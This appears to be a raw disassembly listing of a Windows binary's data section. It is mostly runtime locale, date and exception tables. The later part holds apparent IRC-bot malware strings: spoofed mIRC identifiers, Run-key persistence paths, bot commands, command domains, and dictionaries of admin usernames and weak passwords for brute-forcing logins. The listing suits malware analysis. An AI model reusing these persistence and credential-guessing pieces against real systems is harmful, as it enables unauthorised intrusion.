aAustralia db 'Australia',0 ; DATA XREF: .data:00447CD0o
align 4
aEnglish db 'English',0 ; DATA XREF: .data:00447CC8o
; .data:00447E28o
aAustria db 'Austria',0 ; DATA XREF: .data:00447CA4o
aGerman db 'German',0 ; DATA XREF: .data:00447C9Co
align 4
aBelgium db 'Belgium',0 ; DATA XREF: .data:00447C78o
aMexico db 'Mexico',0 ; DATA XREF: .data:00447C4Co
align 4
aSpanish db 'Spanish',0 ; DATA XREF: .data:00447C44o
; .data:00447D4Co ...
aBasque db 'Basque',0 ; DATA XREF: .data:00447C18o
align 4
aSweden db 'Sweden',0 ; DATA XREF: .data:00447BF4o
align 4
aSwedish db 'Swedish',0 ; DATA XREF: .data:00447BECo
aIceland db 'Iceland',0 ; DATA XREF: .data:00447BC8o
aIcelandic db 'Icelandic',0 ; DATA XREF: .data:00447BC0o
align 4
aFrance db 'France',0 ; DATA XREF: .data:00447B9Co
align 10h
aFrench db 'French',0 ; DATA XREF: .data:00447B94o
; .data:00447C70o ...
align 4
aFinland db 'Finland',0 ; DATA XREF: .data:00447B70o
aFinnish db 'Finnish',0 ; DATA XREF: .data:00447B68o
aSpain db 'Spain',0 ; DATA XREF: .data:off_447B44o
; .data:00447CFCo
align 10h
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_447B3Co
align 4
aUnitedStates db 'united-states',0
align 4
aUnitedKingdom db 'united-kingdom',0
align 4
aTrinidadTobago db 'trinidad & tobago',0
align 10h
aSouthKorea db 'south-korea',0
aSouthAfrica_0 db 'south-africa',0
align 4
aSouthKorea_0 db 'south korea',0
aSouthAfrica_1 db 'south africa',0
align 4
aSlovak db 'slovak',0
align 10h
aPuertoRico db 'puerto-rico',0
aPrChina db 'pr-china',0
align 4
aPrChina_0 db 'pr china',0
align 4
aNz db 'nz',0
align 4
aNewZealand db 'new-zealand',0
aHongKong db 'hong-kong',0
align 10h
aHolland db 'holland',0
aGreatBritain db 'great britain',0
align 4
aEngland db 'england',0
aCzech db 'czech',0
align 4
aChina db 'china',0
align 10h
aBritain db 'britain',0 ; DATA XREF: .data:00447FF0o
aAmerica db 'america',0 ; DATA XREF: .data:off_447FE8o
aUsa db 'usa',0
aUs db 'us',0
align 4
aUk db 'uk',0
align 4
aSwiss db 'swiss',0
align 4
aSwedishFinland db 'swedish-finland',0
aSpanishVenezue db 'spanish-venezuela',0
align 4
aSpanishUruguay db 'spanish-uruguay',0
aSpanishPuertoR db 'spanish-puerto rico',0
aSpanishPeru db 'spanish-peru',0
align 4
aSpanishParagua db 'spanish-paraguay',0
align 10h
aSpanishPanama db 'spanish-panama',0
align 10h
aSpanishNicarag db 'spanish-nicaragua',0
align 4
aSpanishModern db 'spanish-modern',0
align 4
aSpanishMexican db 'spanish-mexican',0
aSpanishHondura db 'spanish-honduras',0
align 4
aSpanishGuatema db 'spanish-guatemala',0
align 4
aSpanishElSalva db 'spanish-el salvador',0
aSpanishEcuador db 'spanish-ecuador',0
aSpanishDominic db 'spanish-dominican republic',0
align 4
aSpanishCostaRi db 'spanish-costa rica',0
align 10h
aSpanishColombi db 'spanish-colombia',0
align 4
aSpanishChile db 'spanish-chile',0
align 4
aSpanishBolivia db 'spanish-bolivia',0
aSpanishArgenti db 'spanish-argentina',0
align 4
aPortugueseBraz db 'portuguese-brazilian',0
align 10h
aNorwegianNynor db 'norwegian-nynorsk',0
align 4
aNorwegianBokma db 'norwegian-bokmal',0
align 4
aNorwegian db 'norwegian',0
align 4
aItalianSwiss db 'italian-swiss',0
align 4
aIrishEnglish db 'irish-english',0
align 4
aGermanSwiss db 'german-swiss',0
align 4
aGermanLuxembou db 'german-luxembourg',0
align 4
aGermanLichtens db 'german-lichtenstein',0
aGermanAustrian db 'german-austrian',0
aFrenchSwiss db 'french-swiss',0
align 4
aFrenchLuxembou db 'french-luxembourg',0
align 10h
aFrenchCanadian db 'french-canadian',0
aFrenchBelgian db 'french-belgian',0
align 10h
aEnglishUsa db 'english-usa',0
aEnglishUs db 'english-us',0
align 4
aEnglishUk db 'english-uk',0
align 4
aEnglishTrinida db 'english-trinidad y tobago',0
align 10h
aEnglishSouthAf db 'english-south africa',0
align 4
aEnglishNz db 'english-nz',0
align 4
aEnglishJamaica db 'english-jamaica',0
aEnglishIre db 'english-ire',0
aEnglishCaribbe db 'english-caribbean',0
align 4
aEnglishCan db 'english-can',0
aEnglishBelize db 'english-belize',0
align 10h
aEnglishAus db 'english-aus',0
aEnglishAmerica db 'english-american',0
align 10h
aDutchBelgian db 'dutch-belgian',0
align 10h
aChineseTraditi db 'chinese-traditional',0
aChineseSingapo db 'chinese-singapore',0
align 4
aChineseSimplif db 'chinese-simplified',0
align 4
aChineseHongkon db 'chinese-hongkong',0
align 10h
aChinese db 'chinese',0
aChi db 'chi',0
aChh db 'chh',0
aCanadian db 'canadian',0
align 4
aBelgian db 'belgian',0
aAustralian db 'australian',0
align 10h
aAmericanEnglis db 'american-english',0
align 4
aAmericanEngl_0 db 'american english',0
align 4
aAmerican db 'american',0 ; DATA XREF: .data:off_4480A0o
align 4
aOcp db 'OCP',0 ; DATA XREF: sub_42DC00:loc_42DC53o
aAcp db 'ACP',0 ; DATA XREF: sub_42DC00+16o
aChsize_c db 'chsize.c',0 ; DATA XREF: sub_42E2C0+38o
align 4
aSize0 db 'size >= 0',0 ; DATA XREF: sub_42E2C0+2Co
align 4
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_42F370:loc_42F52Fo
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_42F370+19Bo
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_42F370+168o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_42F370+125o
align 4
aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:00448358o
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00448354o
aMDYy db 'M/d/yy',0 ; DATA XREF: .data:00448350o
align 4
aPm_1 db 'PM',0 ; DATA XREF: .data:0044834Co
align 4
aAm_0 db 'AM',0 ; DATA XREF: .data:00448348o
align 10h
aDecember db 'December',0 ; DATA XREF: .data:00448344o
align 4
aNovember db 'November',0 ; DATA XREF: .data:00448340o
align 4
aOctober db 'October',0 ; DATA XREF: .data:0044833Co
aSeptember db 'September',0 ; DATA XREF: .data:00448338o
align 4
aAugust db 'August',0 ; DATA XREF: .data:00448334o
align 4
aJuly db 'July',0 ; DATA XREF: .data:00448330o
align 4
aJune db 'June',0 ; DATA XREF: .data:0044832Co
align 4
aApril db 'April',0 ; DATA XREF: .data:00448324o
align 4
aMarch db 'March',0 ; DATA XREF: .data:00448320o
align 4
aFebruary db 'February',0 ; DATA XREF: .data:0044831Co
align 10h
aJanuary db 'January',0 ; DATA XREF: .data:00448318o
aDec db 'Dec',0 ; DATA XREF: .data:00448314o
aNov db 'Nov',0 ; DATA XREF: .data:00448310o
aOct db 'Oct',0 ; DATA XREF: .data:0044830Co
aSep db 'Sep',0 ; DATA XREF: .data:00448308o
aAug db 'Aug',0 ; DATA XREF: .data:00448304o
aJul db 'Jul',0 ; DATA XREF: .data:00448300o
aJun db 'Jun',0 ; DATA XREF: .data:004482FCo
aMay db 'May',0 ; DATA XREF: .data:004482F8o
; .data:00448328o
aApr db 'Apr',0 ; DATA XREF: .data:004482F4o
aMar db 'Mar',0 ; DATA XREF: .data:004482F0o
aFeb db 'Feb',0 ; DATA XREF: .data:004482ECo
aJan db 'Jan',0 ; DATA XREF: .data:004482E8o
aSaturday db 'Saturday',0 ; DATA XREF: .data:004482E4o
align 4
aFriday db 'Friday',0 ; DATA XREF: .data:004482E0o
align 4
aThursday db 'Thursday',0 ; DATA XREF: .data:004482DCo
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: .data:004482D8o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: .data:004482D4o
aMonday db 'Monday',0 ; DATA XREF: .data:004482D0o
align 4
aSunday db 'Sunday',0 ; DATA XREF: .data:004482CCo
align 4
aSat db 'Sat',0 ; DATA XREF: .data:004482C8o
aFri db 'Fri',0 ; DATA XREF: .data:004482C4o
aThu db 'Thu',0 ; DATA XREF: .data:004482C0o
aWed db 'Wed',0 ; DATA XREF: .data:004482BCo
aTue db 'Tue',0 ; DATA XREF: .data:004482B8o
aMon db 'Mon',0 ; DATA XREF: .data:004482B4o
aSun db 'Sun',0 ; DATA XREF: .data:off_4482B0o
aAP db 'a/p',0 ; DATA XREF: sub_4307E0:loc_4309D3o
aAmPm db 'am/pm',0 ; DATA XREF: sub_4307E0:loc_4309B3o
align 4
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_430D00+9Co
; sub_430D00+F1o
align 10h
dword_435F80 dd 0FFFFFFFFh, 4310C7h, 4310CDh, 0FFFFFFFFh, 431146h, 43114Ch
; DATA XREF: sub_430FA0+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 10h
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: sub_431AB0+1D1o
aTz db 'TZ',0 ; DATA XREF: sub_431AB0+35o
align 8
dword_435FE8 dd 0FFFFFFFFh, 43248Dh, 432493h, 0dword_435FF8 dd 0FFFFFFFFh, 43262Fh, 432635hdword_436004 dd 6D6F7477h, 766E6562h, 632Ehdword_436010 dd 6D635F61h, 632E70haCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: sub_4328E0:loc_432A53o
align 4
dword_436058 dd 0FFFFFFFFh, 432BBFh, 432BC5h, 0FFFFFFFFh, 432C5Dh, 432C63h
; DATA XREF: sub_4328E0+5o
dword_436070 dd 65746573h, 632E766Eh, 0 ; sub_432D30+F2o ...
aStringTooLong db 'string too long',0 ; DATA XREF: sub_433270+1Fo
dd offset dword_436170
off_436090 dd offset sub_4333F0 ; DATA XREF: sub_4332D0+44o
; sub_433390+1Fo ...
dd offset sub_433340
dd offset sub_433360
dd offset dword_4361C0
off_4360A0 dd offset sub_433510 ; DATA XREF: sub_433420+16o
; sub_4334C0+Ao ...
dd offset sub_433340
dd offset sub_4334E0
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_433570+1Fo
dd offset dword_436210
off_4360C8 dd offset sub_433650 ; DATA XREF: sub_4335D0+16o
; sub_433600+Ao ...
dd offset sub_433340
dd offset sub_433620
dd 0FFFFFFFFh, 436240h
off_4360DC dd offset sub_433B50 ; DATA XREF: .data:00433B2Ao
; sub_433B80+Co ...
dd offset sub_433CF0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_433CF0:loc_433D08o
align 4
dd offset dword_436288
off_4360FC dd offset sub_433D60 ; DATA XREF: sub_433D20+Ao
; .data:00433E4Ao ...
dword_436100 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_436120 dd offset off_448780 ; DATA XREF: .data:00436154o
; .data:004361A8o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_436138 dd offset off_448798 ; DATA XREF: .data:00436150o
; .data:004361A4o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_436138
dd offset off_436120
dword_436158 dd 4 dup(0) dd 2, 436150h
dword_436170 dd 3 dup(0) dd offset off_448798
dd offset dword_436158+8
align 8
off_436188 dd offset off_4487B8 ; DATA XREF: .data:004361A0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_436188
dd offset off_436138
dd offset off_436120
dword_4361AC dd 3 dup(0) dd 3, 4361A0h
dword_4361C0 dd 3 dup(0) dd offset off_4487B8
dd offset dword_4361AC+4
align 8
off_4361D8 dd offset off_4487D8 ; DATA XREF: .data:004361F0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4361D8
dd offset off_436138
dd offset off_436120
dword_4361FC dd 3 dup(0) dd 3, 4361F0h
dword_436210 dd 3 dup(0) dd offset off_4487D8
dd offset dword_4361FC+4
dd offset off_436120
dword_436228 dd 4 dup(0) dd 1, 436224h, 3 dup(0)
dd offset off_448780
dd offset dword_436228+8
align 8
off_436258 dd offset off_4487F8 ; DATA XREF: .data:00436270o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_436258
dd 0
db 0 ; DATA XREF: .data:00436298o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 436270h
dword_436288 dd 3 dup(0) dd offset off_4487F8
dd offset unk_436278
align 10h
dd 0FFFFFFFFh, 433EC0h, 0
dd offset loc_433EC8
dd 1, 433ED0h, 2, 433ED8h
dword_4362C0 dd 19930520h, 4, 4362A0h, 4 dup(0) dd 0FFFFFFFFh, 433EF4h, 0
dd offset loc_433EEC
dword_4362EC dd 19930520h, 2, 4362DCh, 4 dup(0) dd 0FFFFFFFFh, 433F15h, 0
dd offset loc_433F1D
dword_436318 dd 19930520h, 2, 436308h, 4 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_40C068
dd 2 dup(0)
dd 2 dup(1), 436344h
dword_436368 dd 19930520h, 2, 436334h, 1, 436354h, 4 dup(0)
; DATA XREF: .data:loc_433F30o
dd offset off_448780
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 433BF0h, 2 dup(0)
dd offset off_448798
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4332D0h, 2 dup(0)
dd offset off_4487B8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 433540h, 0
dword_4363E8 dd 3, 4363C8h, 4363A8h, 436388hdword_4363F8 dd 0 ; sub_4334E0+15o
dd offset sub_4334C0
dd 0
dd offset dword_4363E8
dword_436408 dd 19930520h, 1, 436428h, 5 dup(0) dd 0FFFFFFFFh, 433F40h
dword_436430 dd 19930520h, 1, 436450h, 5 dup(0)dword_436450 dd 0FFFFFFFFh, 433F60h, 2, 4363A8h, 436388h, 0dword_436468 dd 0 dd offset sub_433390
dd 0
dd offset dword_436450+8
dword_436478 dd 19930520h, 1, 436498h, 5 dup(0) dd 0FFFFFFFFh, 433F80h
dword_4364A0 dd 19930520h, 1, 4364C0h, 5 dup(0) dd 0FFFFFFFFh, 433FA0h, 0
dd offset off_4487D8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 433680h, 0
dword_4364E8 dd 3, 4364C8h, 4363A8h, 436388hdword_4364F8 dd 0 ; sub_433620+15o
dd offset sub_433600
dd 0
dd offset dword_4364E8
dword_436508 dd 19930520h, 1, 436528h, 5 dup(0) dd 0FFFFFFFFh, 433FC0h, 2B4h dup(0)
dword_437000 dd 0 dd offset loc_4013E8
dd offset loc_40BB98
dd offset sub_40CE39
dd offset sub_4336B0
dword_437014 dd 0 dword_437018 dd 0 dd offset sub_419F80
dd offset sub_41ACD0
dd offset sub_4222D0
dd offset sub_42A550
dword_43702C dd 0 dword_437030 dd 0 dd offset sub_41AE00
dword_437038 dd 0 dword_43703C dd 0 dd offset sub_42A570
dword_437044 dd 3 dup(0) dword_437050 dd 80000002h off_437054 dd offset byte_4371E8 ; DATA XREF: sub_401000+1Er
dd 80000002h, 437218h, 80000001h, 4371E8h
dword_437068 dd 6272h, 0 dword_437070 dd 1E60h ; sub_401404+517r
dword_437074 dd 1E60h dd 7E4h
dword_43707C dd 45h ; sub_40A01B+3Br
dword_437080 dd 52h ; sub_40A01B:loc_40A403r
dd 201h
word_437088 dw 7C7h ; DATA XREF: sub_401C87:loc_4042C3r
align 4
dword_43708C dd 1 dword_437090 dd 1 dword_437094 dd 1 ; sub_411DDE+Cr
byte_437098 db 2Eh ; DATA XREF: sub_401C87+A60r
; sub_401C87+B1Ar ...
align 4
dword_43709C dd 5 ; sub_408F7D+5Fr ...
dword_4370A0 dd 4 ; sub_401C87+277r ...
dword_4370A4 dd 1 ; sub_401C87+271r
aJav0 db 'Jav0',0 ; DATA XREF: sub_401404+5Do
; sub_401C87:loc_404122o ...
align 10h
aModdd db 'Moddd',0 ; DATA XREF: sub_401C87:loc_4044AFo
; sub_401C87+3C20o
align 4
a_a159753acdb db '_A159753AcDb',0 ; DATA XREF: sub_401C87+5809o
; sub_401C87+58CCo
align 4
aXbytez_com_ar db 'xbytez.com.ar',0 ; DATA XREF: sub_401404+47Bo
; sub_401404+508o
align 4
byte_4370D8 db 5Fh ; DATA XREF: sub_401B0B+28r
; sub_401B0B+30o
aA159753 db 'A159753',0
align 4
aJ00 db '#j00#',0 ; DATA XREF: sub_401404+49Bo
; sub_401404+51Eo
align 4
byte_4370EC db 75h ; DATA XREF: sub_401404+140o
; sub_401404+164w ...
db 66h, 6Eh, 79h
dd 62697574h, 6578652Eh, 0
dd 6E6E6977h, 78742E74h, 74h
aWindowsService db 'Windows Service',0 ; DATA XREF: sub_401000+Bo
aJav0_0 db '[Jav0]',0 ; DATA XREF: .data:00408FFBo
align 10h
aWinsyf_dat db 'winsyf.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401C87+5945o
align 4
aXp_0 db '#xp',0 ; DATA XREF: sub_401C87+168Eo
; sub_401C87+192Do ...
aKl_0 db '#kl',0
aPs_1 db '#ps',0
a@yobibyte_com_ db '*@yobibyte.com.ar',0 ; DATA XREF: .data:off_437154o
align 4
off_437154 dd offset a@yobibyte_com_ ; DATA XREF: sub_401C87+586Cr
; "*@yobibyte.com.ar"
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_4371D8o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371DCo
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371E0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:004371E4o
align 4
off_4371D8 dd offset aMircV6_16Khale ; DATA XREF: sub_401C87+880r
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
byte_4371E8 db 53h ; DATA XREF: .data:off_437054o
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_413FC4+28o
; sub_4142EA+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_413FC4+D4o
; sub_4142EA+D4o
align 10h
dd 1
dword_437294 dd 1 aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:00437350o
align 4
aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:00437354o
align 4
aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:00437358o
align 4
aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:0043735Co
aAdmins_0 db 'admins',0 ; DATA XREF: .data:00437360o
align 4
aAdmin_1 db 'admin',0 ; DATA XREF: .data:00437364o
align 4
aStaff_0 db 'staff',0 ; DATA XREF: .data:00437368o
align 4
aRoot_1 db 'root',0 ; DATA XREF: .data:0043736Co
align 4
aComputer db 'computer',0 ; DATA XREF: .data:00437370o
align 10h
aOwner db 'owner',0 ; DATA XREF: .data:00437374o
align 4
aStudent_0 db 'student',0 ; DATA XREF: .data:00437378o
aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0043737Co
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:00437380o
align 4
aGuest_1 db 'guest',0 ; DATA XREF: .data:00437384o
align 4
aDefault_0 db 'default',0 ; DATA XREF: .data:00437388o
aDatabase_0 db 'database',0 ; DATA XREF: .data:0043738Co
align 10h
aDba db 'dba',0 ; DATA XREF: .data:00437390o
aOracle_0 db 'oracle',0 ; DATA XREF: .data:00437394o
align 4
aDb2_0 db 'db2',0 ; DATA XREF: .data:00437398o
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrado_0 ; "administrador"
dd offset aAdministrate_0 ; "administrateur"
dd offset aAdministrat_0 ; "administrat"
dd offset aAdmins_0 ; "admins"
dd offset aAdmin_1 ; "admin"
dd offset aStaff_0 ; "staff"
dd offset aRoot_1 ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent_0 ; "student"
dd offset aTeacher_0 ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_1 ; "guest"
dd offset aDefault_0 ; "default"
dd offset aDatabase_0 ; "database"
dd offset aDba ; "dba"
dd offset aOracle_0 ; "oracle"
dd offset aDb2_0 ; "db2"
align 10h
aAdministrato_2 db 'administrator',0 ; DATA XREF: .data:00437814o
align 10h
aAdministrado_1 db 'administrador',0 ; DATA XREF: .data:00437818o
align 10h
aAdministrate_1 db 'administrateur',0 ; DATA XREF: .data:0043781Co
align 10h
aAdministrat_1 db 'administrat',0 ; DATA XREF: .data:00437820o
aAdmins_1 db 'admins',0 ; DATA XREF: .data:00437824o
align 4
aAdmin_2 db 'admin',0 ; DATA XREF: .data:00437828o
align 4
aAdm_0 db 'adm',0 ; DATA XREF: .data:0043782Co
aPassword1_0 db 'password1',0 ; DATA XREF: .data:00437830o
align 4
aPassword_0 db 'password',0 ; DATA XREF: .data:00437834o
align 4
aPasswd_0 db 'passwd',0 ; DATA XREF: .data:00437838o
align 10h
aPass1234_0 db 'pass1234',0 ; DATA XREF: .data:0043783Co
align 4
aPass_1 db 'pass',0 ; DATA XREF: .data:00437840o
align 4
aPwd_0 db 'pwd',0 ; DATA XREF: .data:00437844o
a007_0 db '007',0 ; DATA XREF: .data:00437848o
a1_0: ; DATA XREF: .data:0043784Co
unicode 0, <1>,0
a12_0 db '12',0 ; DATA XREF: .data:00437850o
align 4
a123_0 db '123',0 ; DATA XREF: .data:00437854o
a1234_0 db '1234',0 ; DATA XREF: .data:00437858o
align 10h
a12345_0 db '12345',0 ; DATA XREF: .data:0043785Co
align 4
a123456_0 db '123456',0 ; DATA XREF: .data:00437860o
align 10h
a1234567_0 db '1234567',0 ; DATA XREF: .data:00437864o
a12345678_0 db '12345678',0 ; DATA XREF: .data:00437868o
align 4
a123456789_0 db '123456789',0 ; DATA XREF: .data:0043786Co
align 10h
a1234567890_0 db '1234567890',0 ; DATA XREF: .data:00437870o
align 4
a2000_0 db '2000',0 ; DATA XREF: .data:00437874o
align 4
a2001_0 db '2001',0 ; DATA XREF: .data:00437878o
align 4
a2002_0 db '2002',0 ; DATA XREF: .data:0043787Co
align 4
a2003_1 db '2003',0 ; DATA XREF: .data:00437880o
align 4
a2004_0 db '2004',0 ; DATA XREF: .data:00437884o
align 4
aTest_0 db 'test',0 ; DATA XREF: .data:00437888o
align 4
aGuest_2 db 'guest',0 ; DATA XREF: .data:0043788Co
align 4
aNone_0 db 'none',0 ; DATA XREF: .data:00437890o
align 4
aDemo_0 db 'demo',0 ; DATA XREF: .data:00437894o
align 4
aUnix_0 db 'unix',0 ; DATA XREF: .data:00437898o
align 4
aLinux_0 db 'linux',0 ; DATA XREF: .data:0043789Co
align 4
aChangeme_0 db 'changeme',0 ; DATA XREF: .data:004378A0o
align 10h
aDefault_1 db 'default',0 ; DATA XREF: .data:004378A4o
aSystem_0 db 'system',0 ; DATA XREF: .data:004378A8o
align 10h
aServer_6 db 'server',0 ; DATA XREF: .data:004378ACo
align 4
aRoot_2 db 'root',0 ; DATA XREF: .data:004378B0o
align 10h
aNull_2 db 'null',0 ; DATA XREF: .data:004378B4o
align 4
aQwerty_0 db 'qwerty',0 ; DATA XREF: .data:004378B8o
align 10h
aMail_0 db 'mail',0 ; DATA XREF: .data:004378BCo
align 4
aOutlook_0 db 'outlook',0 ; DATA XREF: .data:004378C0o
aWeb_0 db 'web',0 ; DATA XREF: .data:004378C4o
aWww_0 db 'www',0 ; DATA XREF: .data:004378C8o
aInternet_1 db 'internet',0 ; DATA XREF: .data:004378CCo
align 4
aAccounts_0 db 'accounts',0 ; DATA XREF: .data:004378D0o
align 10h
aAccounting_0 db 'accounting',0 ; DATA XREF: .data:004378D4o
align 4
aHome_0 db 'home',0 ; DATA XREF: .data:004378D8o
align 4
aHomeuser_0 db 'homeuser',0 ; DATA XREF: .data:004378DCo
align 10h
aUser_4 db 'user',0 ; DATA XREF: .data:004378E0o
align 4
aOem_0 db 'oem',0 ; DATA XREF: .data:004378E4o
aOemuser_0 db 'oemuser',0 ; DATA XREF: .data:004378E8o
aOeminstall_0 db 'oeminstall',0 ; DATA XREF: .data:004378ECo
align 10h
aWindows_0 db 'windows',0 ; DATA XREF: .data:004378F0o
aWin98_0 db 'win98',0 ; DATA XREF: .data:004378F4o
align 10h
aWin2k_0 db 'win2k',0 ; DATA XREF: .data:004378F8o
align 4
aWinxp_0 db 'winxp',0 ; DATA XREF: .data:004378FCo
align 10h
aWinnt_0 db 'winnt',0 ; DATA XREF: .data:00437900o
align 4
aWin2000_0 db 'win2000',0 ; DATA XREF: .data:00437904o
aQaz_0 db 'qaz',0 ; DATA XREF: .data:00437908o
aAsd_0 db 'asd',0 ; DATA XREF: .data:0043790Co
aZxc_0 db 'zxc',0 ; DATA XREF: .data:00437910o
aQwe_0 db 'qwe',0 ; DATA XREF: .data:00437914o
aBob_1 db 'bob',0 ; DATA XREF: .data:00437918o
aJen_0 db 'jen',0 ; DATA XREF: .data:0043791Co
aJoe_0 db 'joe',0 ; DATA XREF: .data:00437920o
aFred_0 db 'fred',0 ; DATA XREF: .data:00437924o
align 4
aBill_0 db 'bill',0 ; DATA XREF: .data:00437928o
align 4
aMike_0 db 'mike',0 ; DATA XREF: .data:0043792Co
align 4
aJohn_0 db 'john',0 ; DATA XREF: .data:00437930o
align 4
aPeter_1 db 'peter',0 ; DATA XREF: .data:00437934o
align 4
aLuke_0 db 'luke',0 ; DATA XREF: .data:00437938o
align 4
aSam_0 db 'sam',0 ; DATA XREF: .data:0043793Co
aSue_0 db 'sue',0 ; DATA XREF: .data:00437940o
aSusan_0 db 'susan',0 ; DATA XREF: .data:00437944o
align 4
aPeter_2 db 'peter',0 ; DATA XREF: .data:00437948o
align 4
aBrian_0 db 'brian',0 ; DATA XREF: .data:0043794Co
align 4
aLee_0 db 'lee',0 ; DATA XREF: .data:00437950o
aNeil_0 db 'neil',0 ; DATA XREF: .data:00437954o
align 4
aIan_0 db 'ian',0 ; DATA XREF: .data:00437958o
aChris_0 db 'chris',0 ; DATA XREF: .data:0043795Co
align 4
aEric_0 db 'eric',0 ; DATA XREF: .data:00437960o
align 4
aGeorge_0 db 'george',0 ; DATA XREF: .data:00437964o
align 4
aKate_0 db 'kate',0 ; DATA XREF: .data:00437968o
align 4
aBob_2 db 'bob',0 ; DATA XREF: .data:0043796Co
aKatie_0 db 'katie',0 ; DATA XREF: .data:00437970o
align 4
aMary_0 db 'mary',0 ; DATA XREF: .data:00437974o
align 10h
aLogin_1 db 'login',0 ; DATA XREF: .data:00437978o
align 4
aLoginpass_0 db 'loginpass',0 ; DATA XREF: .data:0043797Co
align 4
aTechnical_0 db 'technical',0 ; DATA XREF: .data:00437980o
align 10h
aBackup_0 db 'backup',0 ; DATA XREF: .data:00437984o
align 4
aExchange_0 db 'exchange',0 ; DATA XREF: .data:00437988o
align 4
aFuck_0 db 'fuck',0 ; DATA XREF: .data:0043798Co
align 4
aBitch_0 db 'bitch',0 ; DATA XREF: .data:00437990o
align 4
aSlut_0 db 'slut',0 ; DATA XREF: .data:00437994o
align 4
aSex_0 db 'sex',0 ; DATA XREF: .data:00437998o
aGod_0 db 'god',0 ; DATA XREF: .data:0043799Co
aHell_0 db 'hell',0 ; DATA XREF: .data:004379A0o
align 4
aHello_0 db 'hello',0 ; DATA XREF: .data:004379A4o
align 4
aDomain_0 db 'domain',0 ; DATA XREF: .data:004379A8o
align 4
aDomainpass_0 db 'domainpass',0 ; DATA XREF: .data:004379ACo
align 4
aDomainpasswo_0 db 'domainpassword',0 ; DATA XREF: .data:004379B0o
align 4
aDatabase_1 db 'database',0 ; DATA XREF: .data:004379B4o
align 4
aAccess_0 db 'access',0 ; DATA XREF: .data:004379B8o
align 4
aDbpass_0 db 'dbpass',0 ; DATA XREF: .data:004379BCo
align 4
aDbpassword_0 db 'dbpassword',0 ; DATA XREF: .data:004379C0o
align 10h
aDatabasepass_0 db 'databasepass',0 ; DATA XREF: .data:004379C4o
align 10h
aData_0 db 'data',0 ; DATA XREF: .data:004379C8o
align 4
aDatabasepass_1 db 'databasepassword',0 ; DATA XREF: .data:004379CCo
align 4
aDb1_0 db 'db1',0 ; DATA XREF: .data:004379D0o
aDb2_1 db 'db2',0 ; DATA XREF: .data:004379D4o
aDb1234_0 db 'db1234',0 ; DATA XREF: .data:004379D8o
align 4
aSa_1 db 'sa',0 ; DATA XREF: .data:004379DCo
align 10h
aSql_0 db 'sql',0 ; DATA XREF: .data:004379E0o
aSqlpassoains_0 db 'sqlpassoainstall',0 ; DATA XREF: .data:004379E4o
align 4
aOrainstall_0 db 'orainstall',0 ; DATA XREF: .data:004379E8o
align 4
aOracle_1 db 'oracle',0 ; DATA XREF: .data:004379ECo
align 4
aIbm_0 db 'ibm',0 ; DATA XREF: .data:004379F0o
aCisco_0 db 'cisco',0 ; DATA XREF: .data:004379F4o
align 4
aDell_0 db 'dell',0 ; DATA XREF: .data:004379F8o
align 10h
aCompaq_0 db 'compaq',0 ; DATA XREF: .data:004379FCo
align 4
aSiemens_0 db 'siemens',0 ; DATA XREF: .data:00437A00o
